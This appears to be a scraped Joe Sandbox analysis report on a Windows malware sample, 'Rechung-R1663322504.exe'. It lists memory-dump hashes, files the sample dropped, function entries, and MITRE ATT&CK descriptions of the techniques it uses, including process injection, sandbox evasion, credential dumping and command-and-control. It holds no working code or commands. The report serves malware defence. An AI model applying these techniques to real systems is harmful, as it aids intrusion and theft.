Source File: 00000007.00000002.52560188772.0000000036F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 36F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_36f20000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d6d833c91d113f42677206d5a7f15fd35877c522c5a6390092b542488903464
Instruction ID: ab864fbdbb3a592a3257fe97ca015b5d4f68d0aaff7a95e7a222ec8adcb9d2a8
Opcode Fuzzy Hash: 2d6d833c91d113f42677206d5a7f15fd35877c522c5a6390092b542488903464
Instruction Fuzzy Hash: C631B2B8D022189FDB04CFA5C594BEEBBF1AF49304F1098A9E850B7391D7789A45CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00D26729 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.52426914225.0000000000D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d20000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5917a58090655174f972b5fb1d84a633bf7ac0f6c7267a3628f2d62592ee6076
Instruction ID: 75c795bcce2fec728e218260ebdaa9c547e4854ac3ba7019172018597750b28d
Opcode Fuzzy Hash: 5917a58090655174f972b5fb1d84a633bf7ac0f6c7267a3628f2d62592ee6076
Instruction Fuzzy Hash: 5DD05E75E083188ACB90DF94E8806ECF3B5EB45228F1064E6C10CB3210DB308A89CB47

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Rechung-R1663322504.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_caspol.exe_5cc44e97acf31afa8e5c5ec1af53c5acde2c3_00000000_24c613c7-d23f-4749-9f08-829cc3a3e2d7\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2E03.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2E62.tmp.xml

C:\Users\user\AppData\Local\Temp\nsiF853.tmp\AdvSplash.dll

C:\Users\user\AppData\Local\Temp\nsiF853.tmp\System.dll

C:\Users\user\Separationerne.lnk

C:\Users\user\Socialdirektrer\Fornices\Vingummis\Flannelled\Yndighed\Adventure_20.bmp

C:\Users\user\Socialdirektrer\Fornices\Vingummis\Flannelled\Yndighed\Dialektforskningen134.Luk

C:\Users\user\Socialdirektrer\Vandspildets.Shi37

C:\Users\user\Socialdirektrer\media-floppy-symbolic.symbolic.png

C:\Users\user\Socialdirektrer\mk.txt

C:\Windows\appcompat\Programs\Amcache.hve

C:\Windows\appcompat\Programs\Amcache.hve.LOG1

Windows Analysis Report
Rechung-R1663322504.exe

Function 00403350 Relevance: 89.7, APIs: 33, Strings: 18, Instructions: 412
stringfilecomCOMMON

Function 00405402 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 284
windowclipboardmemoryCOMMON

Function 10001B18 Relevance: 20.0, APIs: 13, Instructions: 544
stringmemoryCOMMON

Function 0040596D Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 148
filestringCOMMON

Function 004065A2 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 14
fileCOMMON

Function 004020FE Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 129
comCOMMON

Function 00402862 Relevance: 1.5, APIs: 1, Instructions: 30
fileCOMMON

Function 00403D1B Relevance: 48.3, APIs: 32, Instructions: 346
windowstringCOMMON

Function 0040396D Relevance: 47.5, APIs: 14, Strings: 13, Instructions: 215
stringregistryCOMMON

Function 00402EC1 Relevance: 26.4, APIs: 5, Strings: 10, Instructions: 182
COMMON

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.
Tactics:	Impact
Data Sources:	Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre